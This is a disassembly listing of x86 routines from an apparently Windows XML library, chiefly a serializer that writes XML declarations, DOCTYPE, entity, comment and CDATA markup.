sub_69B17275	proc near		; CODE XREF: sub_69B11E20+3p
					; sub_69B17254p ...

; FUNCTION CHUNK AT 69B22E47 SIZE 00000003 BYTES

		mov	eax, [ecx+4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_69B22E47
		and	eax, 4
		retn
sub_69B17275	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17285	proc near		; CODE XREF: sub_69B192E9+B6p
					; sub_69B23D98+51p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+8+arg_8]
		push	edi
		call	sub_69B17275
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		mov	ecx, esi
		call	sub_69B18130
		push	[esp+0Ch+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B172E0
		lea	eax, [esi+14h]
		lea	edi, [esi+10h]
		mov	[edi], ecx
		mov	[eax], ecx
		lea	ebx, [esi+18h]
		push	eax
		mov	[ebx], ecx
		call	sub_69B17320
		push	[esp+0Ch+arg_4]
		push	edi
		call	sub_69B17320
		push	[esp+0Ch+arg_8]
		push	ebx
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B17285	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B172E0	dd offset sub_69B2D67E	; DATA XREF: sub_69B17285+22o
		dd offset sub_69B18947
		dd offset sub_69B17248
		dd offset sub_69B197C1
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B2F957
		dd offset sub_69B2F970
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F968
		dd offset nullsub_5
		dd offset sub_69B12077
		dd offset sub_69B11FFF
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_69B17320	proc near		; CODE XREF: sub_69B1A799-8AB4p
					; sub_69B11E20+1Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B183A4 SIZE 0000000B BYTES

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	ebx, [esi]
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		test	edi, edi
		jnz	short loc_69B17341


loc_69B17331:				; CODE XREF: sub_69B17320+27j
		test	ebx, ebx
		mov	[esi], edi
		jnz	loc_69B183A4


loc_69B1733B:				; CODE XREF: sub_69B17320+108Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_69B17341:				; CODE XREF: sub_69B17320+Fj
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		jmp	short loc_69B17331
sub_69B17320	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17349	proc near		; CODE XREF: sub_69B65C51+5j
					; .text:69B65C74j ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		call	sub_69B17355
		retn	4
sub_69B17349	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17355	proc near		; CODE XREF: sub_69B17349+4p
					; sub_69B18953+7j ...

; FUNCTION CHUNK AT 69B23059 SIZE 00000031 BYTES

		push	ebx
		push	esi
		mov	esi, ecx
		lea	eax, [esi+4]
		mov	ebx, [eax]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_69B1736C
		test	bl, 4
		jnz	loc_69B23059


loc_69B1736C:				; CODE XREF: sub_69B17355+Cj
		push	eax		; Target
		call	sub_69B18980
		push	eax
		mov	ecx, esi
		call	sub_69B1737D


loc_69B1737A:				; CODE XREF: sub_69B17355+BD13j
					; sub_69B17355+BD30j
		pop	esi
		pop	ebx
		retn
sub_69B17355	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1737D	proc near		; CODE XREF: sub_69B17355+20p
					; sub_69B1DE55+ACp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B22EF7 SIZE 0000002B BYTES

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx


loc_69B17386:				; CODE XREF: sub_69B1737D+BBA0j
		test	bl, 1
		jz	short loc_69B1739C
		add	ebx, 8
		mov	[edi+4], ebx


loc_69B17391:				; CODE XREF: sub_69B1737D+52j
		pop	edi
		mov	eax, ebx
		pop	esi
		shr	eax, 3
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_69B1739C:				; CODE XREF: sub_69B1737D+Cj
		push	dwTlsIndex
		call	dword_69B92970
		mov	ecx, ebx
		and	ecx, 0FFFFFFF8h
		cmp	ecx, 800h
		jnb	loc_69B22EF7
		mov	ecx, ebx
		shr	ecx, 3
		and	dword ptr [eax+ecx*4+5Ch], 0
		and	ebx, 2
		or	ebx, 9
		mov	[edi+4], ebx


loc_69B173CC:				; CODE XREF: sub_69B1737D+BB8Aj
		push	8
		pop	ebx
		jmp	short loc_69B17391
sub_69B1737D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B173D1	proc near		; CODE XREF: sub_69B173D1+247p
					; sub_69B173D1+411p ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		call	dword ptr [eax+3Ch]
		cmp	[ebp+arg_8], 0
		mov	edi, eax
		mov	[ebp+var_C], edi
		jnz	short loc_69B1740A
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 14h
		test	cl, 1
		jnz	short loc_69B1740A
		test	eax, 0C0000h
		jnz	short loc_69B1740A
		push	0
		call	sub_69B1A6EC
		mov	[ebp+arg_8], eax


loc_69B1740A:				; CODE XREF: sub_69B173D1+19j
					; sub_69B173D1+26j ...
		mov	ebx, [esi+8]
		mov	eax, ebx
		shr	eax, 18h
		and	eax, 1Fh
		cmp	eax, 6
		jg	loc_69B176DC
		jz	loc_69B176A3
		sub	eax, 0
		jz	loc_69B174E6
		dec	eax
		jz	loc_69B174C4
		dec	eax
		jz	short loc_69B17497
		dec	eax
		jz	loc_69B174E6
		dec	eax
		jz	loc_69B178BC
		dec	eax
		jnz	loc_69B17AC5
		mov	ebx, [ebp+arg_4]
		push	offset off_69B17B70
		mov	ecx, ebx
		call	sub_69B8A970
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B8A970
		push	0
		push	ebx
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B4A984
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		push	eax
		mov	ecx, ebx
		call	sub_69B8A970
		jmp	loc_69B177B9
; ---------------------------------------------------------------------------


loc_69B17497:				; CODE XREF: sub_69B173D1+64j
		mov	ecx, [ebp+arg_4]
		push	offset off_69B17BC0
		call	sub_69B8A970
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B8A970
		mov	ecx, [ebp+arg_4]
		push	offset off_69B17BD0
		jmp	loc_69B177C0
; ---------------------------------------------------------------------------


loc_69B174C4:				; CODE XREF: sub_69B173D1+5Dj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	loc_69B17AC5
		mov	ecx, [ebp+arg_4]
		push	1
		push	eax
		call	sub_69B8AAC2
		jmp	loc_69B17AC5
; ---------------------------------------------------------------------------


loc_69B174E6:				; CODE XREF: sub_69B173D1+56j
					; sub_69B173D1+67j
		mov	eax, [esi]
		shr	ebx, 0Bh
		mov	ecx, esi
		and	bl, 1
		call	dword ptr [eax+74h]
		test	edi, edi
		mov	[ebp+var_2], al
		mov	[ebp+var_1], 0
		jz	loc_69B175A2
		mov	ecx, [ebp+arg_4]
		push	3Ch
		call	sub_69B8A903
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B8A970
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		jnz	short loc_69B1755B
		mov	ecx, [ebp+arg_8]
		push	esi
		call	sub_69B4DD27
		mov	eax, [esi]
		push	0
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B490BC
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B4A984
		jmp	short loc_69B17571
; ---------------------------------------------------------------------------


loc_69B1755B:				; CODE XREF: sub_69B173D1+157j
		mov	eax, [esi]
		push	0
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B490BC


loc_69B17571:				; CODE XREF: sub_69B173D1+188j
		cmp	[ebp+var_2], 0
		jnz	short loc_69B17594
		test	bl, bl
		jnz	short loc_69B17594
		mov	eax, [esi+8]
		shr	eax, 15h
		test	al, 1
		jnz	short loc_69B17594
		mov	ecx, [ebp+arg_4]
		push	offset off_69B17BB0
		call	sub_69B8A970
		jmp	short loc_69B175A2
; ---------------------------------------------------------------------------


loc_69B17594:				; CODE XREF: sub_69B173D1+1A4j
					; sub_69B173D1+1A8j ...
		mov	ecx, [ebp+arg_4]
		push	3Eh
		mov	[ebp+var_1], 1
		call	sub_69B8A903


loc_69B175A2:				; CODE XREF: sub_69B173D1+12Bj
					; sub_69B173D1+1C1j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		mov	ecx, esi
		jz	short loc_69B175D6
		mov	eax, [esi+8]
		shr	eax, 14h
		not	al
		and	eax, 0FFFFFF01h
		push	eax
		mov	eax, [esi]
		call	dword ptr [eax+110h]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B8AAC2
		jmp	loc_69B17667
; ---------------------------------------------------------------------------


loc_69B175D6:				; CODE XREF: sub_69B173D1+1DFj
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B49F0B
		test	bl, bl
		mov	edi, eax
		jz	short loc_69B175FA
		test	edi, edi
		jz	short loc_69B175F2
		mov	al, [edi+0Bh]
		and	al, 1Fh
		cmp	al, 1
		jz	short loc_69B175FA


loc_69B175F2:				; CODE XREF: sub_69B173D1+216j
		mov	ecx, [ebp+arg_4]
		call	sub_69B8A709


loc_69B175FA:				; CODE XREF: sub_69B173D1+212j
					; sub_69B173D1+21Fj
		test	edi, edi
		jz	short loc_69B17667
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jz	short loc_69B1760D
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax+14h]


loc_69B1760D:				; CODE XREF: sub_69B173D1+234j
					; sub_69B173D1+285j
		push	[ebp+arg_8]
		mov	ecx, edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B173D1
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, esi
		call	sub_69B47DCC
		mov	ebx, eax
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jz	short loc_69B1764A
		test	ebx, ebx
		jz	short loc_69B17640
		mov	al, [ebx+0Bh]
		and	al, 1Fh
		cmp	al, 1
		jz	short loc_69B17652


loc_69B17640:				; CODE XREF: sub_69B173D1+264j
		mov	eax, [edi+8]
		shr	eax, 0Ch
		test	al, 1
		jz	short loc_69B17652


loc_69B1764A:				; CODE XREF: sub_69B173D1+260j
		mov	ecx, [ebp+arg_4]
		call	sub_69B8A709


loc_69B17652:				; CODE XREF: sub_69B173D1+26Dj
					; sub_69B173D1+277j
		test	ebx, ebx
		mov	edi, ebx
		jnz	short loc_69B1760D
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jz	short loc_69B17667
		mov	eax, [ebp+arg_4]
		dec	dword ptr [eax+14h]


loc_69B17667:				; CODE XREF: sub_69B173D1+200j
					; sub_69B173D1+22Bj ...
		cmp	[ebp+var_1], 0
		jz	short loc_69B17695
		mov	ecx, [ebp+arg_4]
		push	offset off_69B17BA0
		call	sub_69B8A970
		mov	ecx, [ebp+var_C]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B8A970
		mov	ecx, [ebp+arg_4]
		push	3Eh
		call	sub_69B8A903


loc_69B17695:				; CODE XREF: sub_69B173D1+29Aj
		mov	ecx, [ebp+arg_8]
		push	esi
		call	sub_69B4DDE6
		jmp	loc_69B17AC5
; ---------------------------------------------------------------------------


loc_69B176A3:				; CODE XREF: sub_69B173D1+4Dj
		mov	edi, [ebp+arg_4]
		push	offset off_69B17B90
		mov	ecx, edi
		call	sub_69B8A970
		push	offset off_69B17B40
		mov	ecx, edi
		call	sub_69B8A970
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		push	eax
		mov	ecx, edi
		call	sub_69B8A970
		push	offset off_69B17BE0
		mov	ecx, edi
		jmp	loc_69B177C0
; ---------------------------------------------------------------------------


loc_69B176DC:				; CODE XREF: sub_69B173D1+47j
		cmp	eax, 7
		jl	loc_69B17AC5
		cmp	eax, 8
		jle	loc_69B178BC
		cmp	eax, 0Bh
		jz	loc_69B17898
		cmp	eax, 0Fh
		jz	loc_69B1781E
		cmp	eax, 11h
		jz	loc_69B177CA
		cmp	eax, 12h
		jnz	loc_69B17AC5
		mov	ebx, [ebp+arg_4]
		push	offset off_69B17B70
		mov	ecx, ebx
		call	sub_69B8A970
		push	offset off_69B1F2C8
		mov	ecx, ebx
		call	sub_69B8A970
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 2
		mov	edi, eax
		jg	short loc_69B1773F
		call	sub_69B2E6D8


loc_69B1773F:				; CODE XREF: sub_69B173D1+367j
		push	dword ptr [edi+14h]
		push	esi
		call	sub_69B3DCF1
		test	eax, eax
		jnz	short loc_69B17751
		mov	eax, offset off_69B277F4


loc_69B17751:				; CODE XREF: sub_69B173D1+379j
		push	eax
		push	offset off_69B17AD0
		push	ebx
		call	sub_69B47F13
		cmp	byte ptr [ebx+8], 0
		jz	short loc_69B1778E
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 3
		mov	edi, eax
		jg	short loc_69B17775
		call	sub_69B2E6D8


loc_69B17775:				; CODE XREF: sub_69B173D1+39Dj
		push	dword ptr [edi+18h]
		push	esi
		call	sub_69B3DCF1
		test	eax, eax
		jz	short loc_69B1778E
		push	eax
		push	offset off_69B17AE0
		push	ebx
		call	sub_69B47F13


loc_69B1778E:				; CODE XREF: sub_69B173D1+390j
					; sub_69B173D1+3AFj
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 6
		mov	edi, eax
		jg	short loc_69B177A0
		call	sub_69B2E6D8


loc_69B177A0:				; CODE XREF: sub_69B173D1+3C8j
		push	dword ptr [edi+24h]
		push	esi
		call	sub_69B3DCF1
		test	eax, eax
		jz	short loc_69B177B9
		push	eax
		push	offset off_69B17AF0
		push	ebx
		call	sub_69B47F13


loc_69B177B9:				; CODE XREF: sub_69B173D1+C1j
					; sub_69B173D1+3DAj
		push	offset off_69B17B80
		mov	ecx, ebx


loc_69B177C0:				; CODE XREF: sub_69B173D1+EEj
					; sub_69B173D1+306j
		call	sub_69B8A970
		jmp	loc_69B17AC5
; ---------------------------------------------------------------------------


loc_69B177CA:				; CODE XREF: sub_69B173D1+332j
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, esi
		call	sub_69B49F0B
		jmp	short loc_69B17813
; ---------------------------------------------------------------------------


loc_69B177D7:				; CODE XREF: sub_69B173D1+446j
		push	[ebp+arg_8]
		mov	ecx, ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B173D1
		mov	ebx, [ebx+8]
		mov	eax, ebx
		and	eax, 1F000000h
		cmp	eax, 1000000h
		jz	short loc_69B17808
		shr	ebx, 0Ch
		test	bl, 1
		jz	short loc_69B17808
		mov	ecx, [ebp+arg_4]
		call	sub_69B8A709


loc_69B17808:				; CODE XREF: sub_69B173D1+425j
					; sub_69B173D1+42Dj
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, esi
		call	sub_69B47DCC


loc_69B17813:				; CODE XREF: sub_69B173D1+404j
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B177D7
		jmp	loc_69B17AC5
; ---------------------------------------------------------------------------


loc_69B1781E:				; CODE XREF: sub_69B173D1+329j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 7
		mov	ebx, [edi+8]
		mov	[ebp+arg_8], eax
		jg	short loc_69B17839
		call	sub_69B2E6D8
		mov	eax, dword_69B95A84


loc_69B17839:				; CODE XREF: sub_69B173D1+45Cj
		mov	ecx, [ebp+arg_8]
		cmp	ebx, [ecx+28h]
		jnz	short loc_69B17849
		mov	eax, [edi+8]
		mov	ecx, [eax+14h]
		jmp	short loc_69B1786B
; ---------------------------------------------------------------------------


loc_69B17849:				; CODE XREF: sub_69B173D1+46Ej
		cmp	dword ptr [eax+8], 1Eh
		mov	ebx, [edi+8]
		mov	[ebp+arg_8], eax
		jg	short loc_69B1785A
		call	sub_69B2E6D8


loc_69B1785A:				; CODE XREF: sub_69B173D1+482j
		mov	eax, [ebp+arg_8]
		cmp	ebx, [eax+84h]
		jnz	short loc_69B1786F
		mov	ecx, dword_69B95A6C


loc_69B1786B:				; CODE XREF: sub_69B173D1+476j
		mov	eax, [ecx]
		jmp	short loc_69B17873
; ---------------------------------------------------------------------------


loc_69B1786F:				; CODE XREF: sub_69B173D1+492j
		mov	eax, [edi]
		mov	ecx, edi


loc_69B17873:				; CODE XREF: sub_69B173D1+49Cj
		call	dword ptr [eax+2Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B8A970
		mov	ecx, [ebp+arg_4]
		push	3Dh
		call	sub_69B8A903
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B4A260
		jmp	loc_69B17AC5
; ---------------------------------------------------------------------------


loc_69B17898:				; CODE XREF: sub_69B173D1+320j
		mov	ecx, [ebp+arg_4]
		push	26h
		call	sub_69B8A903
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B8A970
		mov	ecx, [ebp+arg_4]
		push	3Bh
		jmp	loc_69B17AC0
; ---------------------------------------------------------------------------


loc_69B178BC:				; CODE XREF: sub_69B173D1+6Ej
					; sub_69B173D1+317j
		mov	ebx, [ebp+arg_4]
		push	3Ch
		mov	ecx, ebx
		call	sub_69B8A903
		push	21h
		mov	ecx, ebx
		call	sub_69B8A903
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		cmp	eax, 4
		jnz	short loc_69B178E5
		push	offset off_69B17B50
		jmp	short loc_69B178FB
; ---------------------------------------------------------------------------


loc_69B178E5:				; CODE XREF: sub_69B173D1+50Bj
		cmp	eax, 7
		jnz	short loc_69B178F1
		push	offset off_69B17B30
		jmp	short loc_69B178FB
; ---------------------------------------------------------------------------


loc_69B178F1:				; CODE XREF: sub_69B173D1+517j
		cmp	eax, 8
		jnz	short loc_69B17902
		push	offset off_69B17B60


loc_69B178FB:				; CODE XREF: sub_69B173D1+512j
					; sub_69B173D1+51Ej
		mov	ecx, ebx
		call	sub_69B8A970


loc_69B17902:				; CODE XREF: sub_69B173D1+523j
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		push	edi
		mov	ecx, ebx
		call	sub_69B8A9A3
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 0Ah
		mov	edi, eax
		jg	short loc_69B17925
		call	sub_69B2E6D8


loc_69B17925:				; CODE XREF: sub_69B173D1+54Dj
		mov	eax, [edi+34h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		test	eax, eax
		mov	[ebp+arg_4], eax
		jnz	short loc_69B17964
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		cmp	eax, 8
		jz	short loc_69B17964
		cmp	eax, 7
		jnz	loc_69B17A79
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		push	ebx
		mov	ecx, esi
		call	sub_69B4A260
		jmp	loc_69B17A79
; ---------------------------------------------------------------------------


loc_69B17964:				; CODE XREF: sub_69B173D1+567j
					; sub_69B173D1+572j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 9
		mov	edi, eax
		jg	short loc_69B17976
		call	sub_69B2E6D8


loc_69B17976:				; CODE XREF: sub_69B173D1+59Ej
		mov	eax, [edi+30h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B179CD
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		push	offset off_69B17B10
		mov	ecx, ebx
		call	sub_69B8A970
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		push	22h
		mov	ecx, ebx
		call	sub_69B8A903
		mov	eax, [edi]
		push	1
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B8AAC2
		push	22h
		mov	ecx, ebx
		call	sub_69B8A903
		jmp	short loc_69B179E8
; ---------------------------------------------------------------------------


loc_69B179CD:				; CODE XREF: sub_69B173D1+5B7j
		cmp	[ebp+arg_4], 0
		jz	short loc_69B17A1B
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		push	offset off_69B17B00
		mov	ecx, ebx
		call	sub_69B8A970


loc_69B179E8:				; CODE XREF: sub_69B173D1+5FAj
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_69B17A1B
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		push	22h
		mov	ecx, ebx
		call	sub_69B8A903
		mov	eax, [edi]
		push	1
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B8AAC2
		push	22h
		mov	ecx, ebx
		call	sub_69B8A903


loc_69B17A1B:				; CODE XREF: sub_69B173D1+600j
					; sub_69B173D1+61Cj
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 7
		jnz	short loc_69B17A79
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 0Bh
		mov	edi, eax
		jg	short loc_69B17A36
		call	sub_69B2E6D8


loc_69B17A36:				; CODE XREF: sub_69B173D1+65Ej
		mov	eax, [edi+38h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B17A79
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		push	offset off_69B17B20
		mov	ecx, ebx
		call	sub_69B8A970
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		mov	eax, [edi]
		push	1
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B8AAC2


loc_69B17A79:				; CODE XREF: sub_69B173D1+577j
					; sub_69B173D1+58Ej ...
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 4
		jnz	short loc_69B17ABC
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		test	eax, eax
		jz	short loc_69B17A93
		mov	esi, [eax+3Ch]
		jmp	short loc_69B17A95
; ---------------------------------------------------------------------------


loc_69B17A93:				; CODE XREF: sub_69B173D1+6BBj
		xor	esi, esi


loc_69B17A95:				; CODE XREF: sub_69B173D1+6C0j
		test	esi, esi
		jz	short loc_69B17ABC
		push	20h
		mov	ecx, ebx
		call	sub_69B8A903
		push	5Bh
		mov	ecx, ebx
		call	sub_69B8A903
		push	esi
		mov	ecx, ebx
		call	sub_69B8A970
		push	5Dh
		mov	ecx, ebx
		call	sub_69B8A903


loc_69B17ABC:				; CODE XREF: sub_69B173D1+6AFj
					; sub_69B173D1+6C6j
		push	3Eh
		mov	ecx, ebx


loc_69B17AC0:				; CODE XREF: sub_69B173D1+4E6j
		call	sub_69B8A903


loc_69B17AC5:				; CODE XREF: sub_69B173D1+75j
					; sub_69B173D1+FFj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B173D1	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B17AD0	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+381o
					; .data:69B92190o
		align 8
		dd 7
		dd offset aVersion_0	; "version"
off_69B17AE0	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+3B2o
					; .data:69B92194o
		align 8
		dd 8
		dd offset aEncoding	; "encoding"
off_69B17AF0	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+3DDo
					; .data:69B921A0o
		align 8
		dd 0Ah
		dd offset aStandalone_0	; "standalone"
off_69B17B00	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+60Bo
					; .data:69B921B0o
		align 8
		dd 6
		dd offset aSystem	; "SYSTEM"
off_69B17B10	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+5C2o
					; .data:69B921ACo
		align 8
		dd 6
		dd offset aPublic	; "PUBLIC"
off_69B17B20	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+682o
					; .data:69B921B4o
		align 8
		dd 5
		dd offset aNdata	; "NDATA"
off_69B17B30	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+519o
					; .data:69B921D8o
		align 8
		dd 6
		dd offset aEntity	; "ENTITY"
off_69B17B40	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+2E1o
		align 8
		dd 7
		dd offset aCdata_1	; "[CDATA["
off_69B17B50	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+50Do
					; .data:69B92198o
		align 8
		dd 7
		dd offset aDoctype_0	; "DOCTYPE"
off_69B17B60	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+525o
					; .data:69B921DCo
		align 8
		dd 8
		dd offset aNotation	; "NOTATION"
off_69B17B70	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+7Eo
					; sub_69B173D1+344o
		align 8
		dd 2
		dd offset a?_1		; "<?"
off_69B17B80	dd offset off_69B17D10	; DATA XREF: sub_69B173D1:loc_69B177B9o
		align 8
		dd 2
		dd offset a?_2		; "?>"
off_69B17B90	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+2D5o
		align 8
		dd 2
		dd offset asc_69B17CB8	; "<!"
off_69B17BA0	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+29Fo
		align 8
		dd 2
		dd offset asc_69B17CC0	; "</"
off_69B17BB0	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+1B7o
		align 8
		dd 2
		dd offset asc_69B17CC8	; "/>"
off_69B17BC0	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+C9o
		align 8
		dd 4
		dd offset asc_69B17CD0	; "<!--"
off_69B17BD0	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+E9o
		align 8
		dd 3
		dd offset asc_69B17CDC	; "-->"
off_69B17BE0	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+2FFo
		align 8
		dd 3
		dd offset asc_69B17CE8	; "]]>"
aVersion_0:				; DATA XREF: .text:69B17ADCo
		unicode	0, <version>,0
aEncoding:				; DATA XREF: .text:69B17AECo
		unicode	0, <encoding>,0
		align 4
aStandalone_0:				; DATA XREF: .text:69B17AFCo
		unicode	0, <standalone>,0
		align 10h
aSystem:				; DATA XREF: .text:69B17B0Co
		unicode	0, <SYSTEM>,0
		align 10h
aPublic:				; DATA XREF: .text:69B17B1Co
		unicode	0, <PUBLIC>,0
		align 10h
aNdata:					; DATA XREF: .text:69B17B2Co
		unicode	0, <NDATA>,0
aEntity:				; DATA XREF: .text:69B17B3Co
		unicode	0, <ENTITY>,0
		align 10h
aCdata_1:				; DATA XREF: .text:69B17B4Co
		unicode	0, <[CDATA[>,0
aDoctype_0:				; DATA XREF: .text:69B17B5Co
		unicode	0, <DOCTYPE>,0
aNotation:				; DATA XREF: .text:69B17B6Co
		unicode	0, <NOTATION>,0
		align 8
a?_1:					; DATA XREF: .text:69B17B7Co
		dw 3Ch
		unicode	0, <?>,0
		align 10h
a?_2:					; DATA XREF: .text:69B17B8Co
		unicode	0, <?>
		dw 3Eh
		unicode	0, <>,0
		align 4
asc_69B17CB8:				; DATA XREF: .text:69B17B9Co
		dw 3Ch
		unicode	0, <!>,0
		align 10h
asc_69B17CC0:				; DATA XREF: .text:69B17BACo
		dw 3Ch
		unicode	0, </>,0
		align 4
asc_69B17CC8:				; DATA XREF: .text:69B17BBCo
		unicode	0, </>
		dw 3Eh
		unicode	0, <>,0
		align 10h
asc_69B17CD0:				; DATA XREF: .text:69B17BCCo
		dw 3Ch
		unicode	0, <!-->,0
		align 4
asc_69B17CDC:				; DATA XREF: .text:69B17BDCo
		unicode	0, <-->
		dw 3Eh
		unicode	0, <>,0
		align 8
asc_69B17CE8:				; DATA XREF: .text:69B17BECo
		unicode	0, <]]>
		dw 3Eh
		unicode	0, <>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B17CF0	proc near		; DATA XREF: .text:69B1D3C0o
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	eax, eax
		jnz	short locret_69B17CFE
		mov	eax, offset off_69B17D00

locret_69B17CFE:			; CODE XREF: sub_69B17CF0+7j
		retn
sub_69B17CF0	endp

; ---------------------------------------------------------------------------
		align 10h
